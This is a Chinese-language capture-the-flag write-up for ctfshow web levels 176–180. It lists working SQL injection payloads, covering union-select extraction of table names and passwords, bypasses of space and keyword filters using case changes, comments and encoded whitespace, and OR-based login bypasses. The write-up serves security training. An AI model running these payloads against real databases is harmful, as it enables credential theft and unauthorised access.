ctfshow——web入门176~180

发布于:2025-04-03 ⋅ 阅读:(86) ⋅ 点赞:(0)
web入门176

对传入参数进行了过滤

字段数是3

过滤了查询的单词,我们试试大小写绕过

ok发现是select被过滤

查库名:

查表名:-1' union selEct 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查列名:-1' union selEct 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+

那就password:1' union Select 1,2, group_concat(password) from ctfshow_user where username='flag'--+

web入门177

经过几次测试,发现' --+类型的既不报错也不回显

这样是可以的

因为--+中的+是空格的意思,所以是过滤了空格,那我们就用/**/代替

字段数:

-1'order/**/by/**/3%23(最后面的'要使用url编码)

库:-1'union/**/select/**/1,2,database()%23

表:-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23

然后就都是一样的,至于替换空格的方式,还有%0a(换行符)%09(Tab)%0b(垂直制表符)

flag:-1'union%09select%0a1,2,password%0Afrom%0bctfshow_user%23

web入门178

通过以上可以得出,还是过滤了空格,然后把/**/也过滤了

然后就是老样子

-1'union%0bselect%0b1,2,group_concat(table_name)%0afrom%0Ainformation_schema.tables%09where%09table_schema=database()%23

-1'union%09select%0a1,2,password%0Afrom%0bctfshow_user%0bwhere%0busername='flag'%23

web入门179

测试发现%09,%0a,%0b和%0d(回车)都不行

但%0c(换页)可以

然后就老样子:

1'union%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23

以下方法也可以:

-1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23

-1'union(select(select(group_concat(password))from(ctfshow_user)),1,2)%23

'or(1=1)%23

'||1=1%23

'or'1'='1'%23

web入门180

非常奇怪,这里最后面直接'可以了

-1'union%0cselect%0c1,2,database()'

然后后面又不行了

这里可以用--%0c

-1'union%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()--%0c

-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c

当然,还有其他的方法:'or'1'='1'--%0c

'or(username)='flag

'||username='flag

先通过第一个'闭合前面的,再用第二个闭合后面的(废话)

如:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

加上就变成

SELECT * FROM users WHERE username = '' OR (username) = 'flag' AND password = '';

OR 条件会使得即使密码为空,只要存在一个 username 包含 "flag" 的记录,查询就会返回结果


网站公告

今日签到

点亮在社区的每一天
去签到